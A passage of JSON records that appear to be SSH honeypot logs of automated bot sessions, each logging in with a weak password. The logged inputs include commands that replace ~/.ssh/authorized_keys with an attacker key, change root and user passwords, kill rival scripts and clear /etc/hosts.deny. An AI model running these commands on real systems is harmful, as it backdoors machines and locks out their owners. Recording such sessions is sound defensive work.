'{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:40:38.872806+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:40:39.419486+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:40:40.499958+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:40:41.038876+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:40:41.554758+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:40:42.086239+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:40:42.649771+00:00","kind":"output","latency_ms":null,"data":" 17:40:42 up 6 days, 14:30, 0 user, load average: 0.11, 0.12, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:40:43.178746+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:40:43.532528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:40:44.061652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:40:44.592063+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:40:45.114922+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:40:45.761848+00:00","kind":"output","latency_ms":null,"data":"top - 17:40:45 up 6 days, 14:30, 0 user, load average: 0.11, 0.12, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:40:46.283893+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:40:46.607905+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:40:47.128610+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:40:47.912093+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:40:48.447068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:40:48.816376+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-26T17:40:49.363225+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:40:50.423940+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:40:50.948292+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:40:52.127206+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user","method":"password","accepted":true,"tier":"other"}]} {"id":"93ef68b0-34e4-4cb8-9604-d7f2d61343c0","name":"bitter-amiable-goldfinch","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":59452,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":536,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:37:47.927305+00:00","ended_at":"2026-08-26T17:37:49.152592+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:37:26.243252+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:37:26.792584+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:37:31.466379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:37:31.954208+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:37:32.493294+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OfCzvTSm4Nf9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:37:33.026155+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:37:33.563550+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:37:33.815120+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:37:34.342816+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:37:35.334131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:37:35.866157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:37:36.882946+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:37:37.421790+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:37:38.146029+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:37:38.687457+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:37:39.272160+00:00","kind":"output","latency_ms":null,"data":" 17:37:39 up 6 days, 14:27, 0 user, load average: 0.23, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:37:39.808564+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:37:40.351119+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:37:40.891289+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:37:41.491121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:37:42.033085+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:37:42.540230+00:00","kind":"output","latency_ms":null,"data":"top - 17:37:42 up 6 days, 14:27, 0 user, load average: 0.23, 0.25, 0.18\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:37:43.072119+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:37:43.425618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:37:43.967469+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:37:44.607532+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:37:45.140439+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:37:45.440230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:37:45.966296+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:37:47.402430+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:37:47.927822+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:37:48.986756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lm123456","method":"password","accepted":true,"tier":"other"}]} {"id":"79f7ac4d-90e9-48c0-970f-f9867fa65fd3","name":"western-bronzed-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":35534,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":511,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:34:46.894710+00:00","ended_at":"2026-08-26T17:34:48.125503+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-26T17:34:25.735638+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:34:26.265513+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:34:31.518770+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:34:31.943236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:34:32.452498+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test\\ntYLaEZpYZdPy\\ntYLaEZpYZdPy\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:34:32.956005+00:00","kind":"input","latency_ms":null,"data":"echo \"Test\\ntYLaEZpYZdPy\\ntYLaEZpYZdPy\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:34:33.468843+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:34:34.006318+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:34:34.515082+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:34:35.288738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:34:35.800544+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:34:36.575867+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:34:37.089794+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:34:37.569914+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:34:38.084551+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:34:38.468691+00:00","kind":"output","latency_ms":null,"data":" 17:34:38 up 6 days, 14:24, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:34:38.976675+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:34:39.304252+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:34:39.811581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:34:40.476076+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:34:40.988650+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:34:41.686837+00:00","kind":"output","latency_ms":null,"data":"top - 17:34:41 up 6 days, 14:24, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:34:42.200524+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:34:43.061768+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:34:43.571228+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:34:43.878244+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:34:44.392397+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:34:44.938858+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-26T17:34:45.448510+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:34:46.383127+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:34:46.896422+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:34:47.965181+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"Test","method":"password","accepted":true,"tier":"other"}]} {"id":"c7f4841d-94b6-48a5-a1a5-b3460139507d","name":"faded-hushed-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":48426,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:31:49.785155+00:00","ended_at":"2026-08-26T17:31:51.183273+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T17:31:24.845223+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:31:25.375901+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:31:30.851067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:31:31.684206+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:31:32.225670+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zaq12wsx\\nRbG4BPlpAxAk\\nRbG4BPlpAxAk\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:31:32.760754+00:00","kind":"input","latency_ms":null,"data":"echo \"zaq12wsx\\nRbG4BPlpAxAk\\nRbG4BPlpAxAk\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:31:33.302213+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:31:33.956746+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:31:34.508135+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:31:35.799588+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:31:36.347167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:31:37.345582+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:31:37.881114+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:31:38.438462+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:31:38.989794+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:31:39.775253+00:00","kind":"output","latency_ms":null,"data":" 17:31:39 up 6 days, 14:21, 0 user, load average: 0.25, 0.24, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:31:40.317123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:31:41.215655+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:31:41.753545+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:31:42.410899+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:31:42.947448+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:31:43.613756+00:00","kind":"output","latency_ms":null,"data":"top - 17:31:43 up 6 days, 14:21, 0 user, load average: 0.25, 0.24, 0.15\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:31:44.140826+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:31:44.821236+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:31:45.354726+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:31:46.211224+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:31:46.760497+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:31:47.071736+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-26T17:31:47.618268+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:31:49.255993+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:31:49.785652+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:31:51.012792+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"zaq12wsx","method":"password","accepted":true,"tier":"other"}]} {"id":"ca44722c-8e24-4640-ac8d-99a7a80da1f9","name":"sincere-weathered-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":59808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":549,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:28:55.684304+00:00","ended_at":"2026-08-26T17:28:57.131528+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:28:31.057263+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:28:31.611111+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:28:37.396931+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:28:38.200496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:28:38.744503+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lLjn9J5muP3X\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:28:39.297779+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:28:39.841018+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:28:40.669597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:28:41.216220+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:28:42.429526+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:28:42.982548+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:28:44.318522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:28:44.873400+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:28:45.757490+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:28:46.307267+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:28:46.562640+00:00","kind":"output","latency_ms":null,"data":" 17:28:46 up 6 days, 14:18, 0 user, load average: 0.33, 0.28, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:28:47.105134+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:28:47.908916+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:28:48.455090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:28:48.735453+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:28:49.279957+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:28:50.087635+00:00","kind":"output","latency_ms":null,"data":"top - 17:28:50 up 6 days, 14:18, 0 user, load average: 0.33, 0.28, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 